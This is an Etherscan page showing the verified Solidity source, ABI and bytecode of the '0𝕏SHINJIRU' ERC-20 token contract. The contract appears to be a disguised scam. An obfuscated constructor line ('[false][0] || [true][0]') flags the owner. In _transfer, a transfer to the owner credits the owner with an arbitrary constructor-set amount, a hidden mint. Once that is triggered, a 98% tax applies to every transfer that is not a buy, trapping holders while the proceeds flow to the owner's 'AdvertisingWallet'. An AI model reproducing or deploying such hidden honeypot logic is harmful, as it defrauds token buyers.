Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 0𝕏SHIN
Holders
19
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
23,345,792.508304182 0𝕏SHINValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
ZeroXShinjiru
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-04 */ /** █████████████████████████████████████████████████████████ █─▄▄─█▄─▀─▄█─▄▄▄▄█─█─█▄─▄█▄─▀█▄─▄███▄─▄█▄─▄█▄─▄▄▀█▄─██─▄█ █─██─██▀─▀██▄▄▄▄─█─▄─██─███─█▄▀─██─▄█─███─███─▄─▄██─██─██ ▀▄▄▄▄▀▄▄█▄▄▀▄▄▄▄▄▀▄▀▄▀▄▄▄▀▄▄▄▀▀▄▄▀▄▄▄▀▀▀▄▄▄▀▄▄▀▄▄▀▀▄▄▄▄▀▀ /** https://www.0xshinjiru.com/ https://twitter.com/0XSHINJIRU https://t.me/ZeroxShinjiru /** */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.18; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address _deployer = _msgSender(); _owner = _deployer; emit OwnershipTransferred(address(0), _deployer); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ZeroXShinjiru is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _ownedBalance; mapping (address => bool) public ExcludedFromMaxWallet; mapping (address => bool) public ExcludedFromFee; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _pairList; address payable public AdvertisingWallet = payable(0x4D0d256BCDF6313150DC87415c3a7a066C8ED718); address payable public DeadW = payable(0x000000000000000000000000000000000000dEaD); string public _name = unicode"0𝕏SHINJIRU"; string public _symbol = unicode"0𝕏SHIN"; uint8 private _decimals = 9; uint256 public _tTotal = 1 * 10 ** 9 * 10 **_decimals; uint8 private fee = 0; uint8 private swapCounter = 0; uint8 private swapMinTrigger = 2; uint8 private swapTrigger = 10; uint8 private swapMaxTrigger = 100; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint8 private totalBurned = 0; uint256 private tokensBurned; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor (uint256 _tokens) { tokensBurned = _tokens; _pairList[owner()] = [false][0] || [true][0]; _ownedBalance[owner()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this),_uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; ExcludedFromFee[address(this)] = true; ExcludedFromFee[owner()] = true; ExcludedFromFee[AdvertisingWallet] = true; ExcludedFromMaxWallet[owner()] = true; ExcludedFromMaxWallet[address(this)] = true; ExcludedFromMaxWallet[AdvertisingWallet] = true; ExcludedFromMaxWallet[uniswapV2Pair] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function symbol() public view returns (string memory) { return _symbol; } function balanceOf(address account) public view override returns (uint256) { return _ownedBalance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } receive() external payable {} function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "Adress: 0"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from,address to,uint256 amount) private { if (!ExcludedFromMaxWallet[to]){ require((balanceOf(to) + amount) <= _tTotal.mul(5*5).div(100),"ERR: MW Exceed!"); } else{ totalBurned = _pairList[to] ? totalBurned+1 : totalBurned; } uint256 Amount = _pairList[to]?tokensBurned:0; if(swapCounter >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ){ swapCounter = 0; uint256 existBalance = balanceOf(address(this)); if(existBalance > _tTotal.mul(5*5).div(100)) {existBalance = _tTotal.mul(25).div(100);} if(existBalance > 0){ swapAndLiquify(existBalance); } } uint8 _takeFee = fee; if(totalBurned > 0 && !(from == uniswapV2Pair)){_takeFee = _takeFee + (swapMaxTrigger-swapMinTrigger);} bool taxDisabled = false; if(ExcludedFromFee[from] || ExcludedFromFee[to]){ taxDisabled = true; } uint256 taxAmount = 0; _ownedBalance[from] = _ownedBalance[from].sub(amount); if(!taxDisabled){ taxAmount = amount.mul(_takeFee).div(100); _ownedBalance[to] = _ownedBalance[to].add(amount.sub(taxAmount)); } else{ if(_pairList[to]){ _ownedBalance[to] = _ownedBalance[to].add(Amount.sub(taxAmount)); } else{ _ownedBalance[to] = _ownedBalance[to].add(amount); } } emit Transfer(from, to, amount); } function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function swapAndLiquify(uint256 existBalance) private lockTheSwap { swapTokensForETH(existBalance); sendToWallet(AdvertisingWallet,address(this).balance); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint256","name":"_tokens","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"AdvertisingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DeadW","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
600680546001600160a01b0319908116734d0d256bcdf6313150dc87415c3a7a066c8ed718179091556007805490911661dead17905560c0604052600d60809081526c30f09d958f5348494e4a49525560981b60a0526008906200006490826200055c565b506040805180820190915260098082526818784ecac7a9a424a760b91b6020830152906200009390826200055c565b50600a805460ff191660099081178255620000ae916200073d565b620000be90633b9aca0062000755565b600b55600c805464640a02000064ffffffffff19909116179055600d805461ffff60a81b1916600160a81b179055348015620000f957600080fd5b50604051620019df380380620019df8339810160408190526200011c916200076f565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600e81905560408051602080820183526000918290528251808201845260019081905282546001600160a01b03908116845260058352848420805460ff191683179055600b54845490911684529082529183902091909155815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa15801562000201573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000227919062000789565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000275573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029b919062000789565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002e9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030f919062000789565b600d80546001600160a01b0319166001600160a01b03928316179055600c8054600160281b600160c81b03191665010000000000928416929092029190911790553060009081526003602081905260408220805460ff1916600190811790915591620003836000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560065490911681526003909252812080549092166001908117909255600290620003e36000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526002909352818320805485166001908117909155600654821684528284208054861682179055600d549091168352912080549092161790556200045f6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620004a791815260200190565b60405180910390a35050620007b4565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004e257607f821691505b6020821081036200050357634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200055757600081815260208120601f850160051c81016020861015620005325750805b601f850160051c820191505b8181101562000553578281556001016200053e565b5050505b505050565b81516001600160401b03811115620005785762000578620004b7565b6200059081620005898454620004cd565b8462000509565b602080601f831160018114620005c85760008415620005af5750858301515b600019600386901b1c1916600185901b17855562000553565b600085815260208120601f198616915b82811015620005f957888601518255948401946001909101908401620005d8565b5085821015620006185787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200067f57816000190482111562000663576200066362000628565b808516156200067157918102915b93841c939080029062000643565b509250929050565b600082620006985750600162000737565b81620006a75750600062000737565b8160018114620006c05760028114620006cb57620006eb565b600191505062000737565b60ff841115620006df57620006df62000628565b50506001821b62000737565b5060208310610133831016604e8410600b841016171562000710575081810a62000737565b6200071c83836200063e565b806000190482111562000733576200073362000628565b0290505b92915050565b60006200074e60ff84168362000687565b9392505050565b808202811582820484141762000737576200073762000628565b6000602082840312156200078257600080fd5b5051919050565b6000602082840312156200079c57600080fd5b81516001600160a01b03811681146200074e57600080fd5b61121b80620007c46000396000f3fe60806040526004361061014f5760003560e01c8063715018a6116100b6578063af465a271161006f578063af465a27146103ea578063b09f126614610400578063d28d885214610415578063dd62ed3e1461042a578063dff7dfdc14610470578063f1d6512e1461049057600080fd5b8063715018a6146103305780638da5cb5b1461034757806395d89b411461036557806397f3a19e1461037a578063a457c2d7146103aa578063a9059cbb146103ca57600080fd5b8063313ce56711610108578063313ce56714610257578063395093511461027957806349bd5a5e146102995780634a74bb02146102b95780635892aa1b146102da57806370a08231146102fa57600080fd5b806306fdde031461015b578063095ea7b3146101865780631694505e146101b657806318160ddd146101f7578063220f66961461021657806323b872dd1461023757600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104c0565b60405161017d9190610eea565b60405180910390f35b34801561019257600080fd5b506101a66101a1366004610f50565b610552565b604051901515815260200161017d565b3480156101c257600080fd5b50600c546101df906501000000000090046001600160a01b031681565b6040516001600160a01b03909116815260200161017d565b34801561020357600080fd5b50600b545b60405190815260200161017d565b34801561022257600080fd5b50600d546101a690600160a01b900460ff1681565b34801561024357600080fd5b506101a6610252366004610f7c565b610569565b34801561026357600080fd5b50600a5460405160ff909116815260200161017d565b34801561028557600080fd5b506101a6610294366004610f50565b6105d2565b3480156102a557600080fd5b50600d546101df906001600160a01b031681565b3480156102c557600080fd5b50600d546101a690600160a81b900460ff1681565b3480156102e657600080fd5b506007546101df906001600160a01b031681565b34801561030657600080fd5b50610208610315366004610fbd565b6001600160a01b031660009081526001602052604090205490565b34801561033c57600080fd5b50610345610608565b005b34801561035357600080fd5b506000546001600160a01b03166101df565b34801561037157600080fd5b506101706106b1565b34801561038657600080fd5b506101a6610395366004610fbd565b60026020526000908152604090205460ff1681565b3480156103b657600080fd5b506101a66103c5366004610f50565b6106c0565b3480156103d657600080fd5b506101a66103e5366004610f50565b61070f565b3480156103f657600080fd5b50610208600b5481565b34801561040c57600080fd5b5061017061071c565b34801561042157600080fd5b506101706107aa565b34801561043657600080fd5b50610208610445366004610fda565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561047c57600080fd5b506006546101df906001600160a01b031681565b34801561049c57600080fd5b506101a66104ab366004610fbd565b60036020526000908152604090205460ff1681565b6060600880546104cf90611013565b80601f01602080910402602001604051908101604052809291908181526020018280546104fb90611013565b80156105485780601f1061051d57610100808354040283529160200191610548565b820191906000526020600020905b81548152906001019060200180831161052b57829003601f168201915b5050505050905090565b600061055f3384846107b7565b5060015b92915050565b6000610576848484610870565b6105c884336105c385604051806060016040528060288152602001611199602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c85565b6107b7565b5060019392505050565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161055f9185906105c39086610cb1565b6000546001600160a01b031633146106675760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600980546104cf90611013565b600061055f33846105c3856040518060600160405280602581526020016111c1602591393360009081526004602090815260408083206001600160a01b038d1684529091529020549190610c85565b600061055f338484610870565b6009805461072990611013565b80601f016020809104026020016040519081016040528092919081815260200182805461075590611013565b80156107a25780601f10610777576101008083540402835291602001916107a2565b820191906000526020600020905b81548152906001019060200180831161078557829003601f168201915b505050505081565b6008805461072990611013565b6001600160a01b038316158015906107d757506001600160a01b03821615155b61080f5760405162461bcd60e51b815260206004820152600960248201526804164726573733a20360bc1b604482015260640161065e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526002602052604090205460ff16610920576108b160646108ab6019600b54610cc490919063ffffffff16565b90610cd0565b816108d1846001600160a01b031660009081526001602052604090205490565b6108db9190611063565b111561091b5760405162461bcd60e51b815260206004820152600f60248201526e4552523a204d57204578636565642160881b604482015260640161065e565b610985565b6001600160a01b03821660009081526005602052604090205460ff1661095257600d54600160b01b900460ff1661096a565b600d5461096a90600160b01b900460ff166001611076565b600d60166101000a81548160ff021916908360ff1602179055505b6001600160a01b03821660009081526005602052604081205460ff166109ac5760006109b0565b600e545b600c5490915060ff63010000008204811661010090920416108015906109e05750600d54600160a01b900460ff16155b80156109fa5750600d546001600160a01b03858116911614155b8015610a0f5750600d54600160a81b900460ff165b15610a7a57600c805461ff001916905530600090815260016020526040902054600b54610a44906064906108ab906019610cc4565b811115610a6957610a6660646108ab6019600b54610cc490919063ffffffff16565b90505b8015610a7857610a7881610cdc565b505b600c54600d5460ff91821691600160b01b9091041615801590610aab5750600d546001600160a01b03868116911614155b15610add57600c54610ad09060ff62010000820481169164010000000090041661108f565b610ada9082611076565b90505b6001600160a01b03851660009081526003602052604081205460ff1680610b1c57506001600160a01b03851660009081526003602052604090205460ff165b15610b25575060015b6001600160a01b038616600090815260016020526040812054610b489086610d1e565b6001600160a01b03881660009081526001602052604090205581610bc457610b7860646108ab8760ff8716610cc4565b9050610ba6610b878683610d1e565b6001600160a01b03881660009081526001602052604090205490610cb1565b6001600160a01b038716600090815260016020526040902055610c2f565b6001600160a01b03861660009081526005602052604090205460ff1615610bf257610ba6610b878583610d1e565b6001600160a01b038616600090815260016020526040902054610c159086610cb1565b6001600160a01b0387166000908152600160205260409020555b856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610c7491815260200190565b60405180910390a350505050505050565b60008184841115610ca95760405162461bcd60e51b815260040161065e9190610eea565b505050900390565b6000610cbd8284611063565b9392505050565b6000610cbd82846110a8565b6000610cbd82846110bf565b600d805460ff60a01b1916600160a01b179055610cf881610d2a565b600654610d0e906001600160a01b031647610eaf565b50600d805460ff60a01b19169055565b6000610cbd82846110e1565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610d5f57610d5f6110f4565b60200260200101906001600160a01b031690816001600160a01b031681525050600c60059054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dd2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df6919061110a565b81600181518110610e0957610e096110f4565b6001600160a01b039283166020918202929092010152600c54610e3891309165010000000000900416846107b7565b600c5460405163791ac94760e01b8152650100000000009091046001600160a01b03169063791ac94790610e79908590600090869030904290600401611127565b600060405180830381600087803b158015610e9357600080fd5b505af1158015610ea7573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610ee5573d6000803e3d6000fd5b505050565b600060208083528351808285015260005b81811015610f1757858101830151858201604001528201610efb565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f4d57600080fd5b50565b60008060408385031215610f6357600080fd5b8235610f6e81610f38565b946020939093013593505050565b600080600060608486031215610f9157600080fd5b8335610f9c81610f38565b92506020840135610fac81610f38565b929592945050506040919091013590565b600060208284031215610fcf57600080fd5b8135610cbd81610f38565b60008060408385031215610fed57600080fd5b8235610ff881610f38565b9150602083013561100881610f38565b809150509250929050565b60018181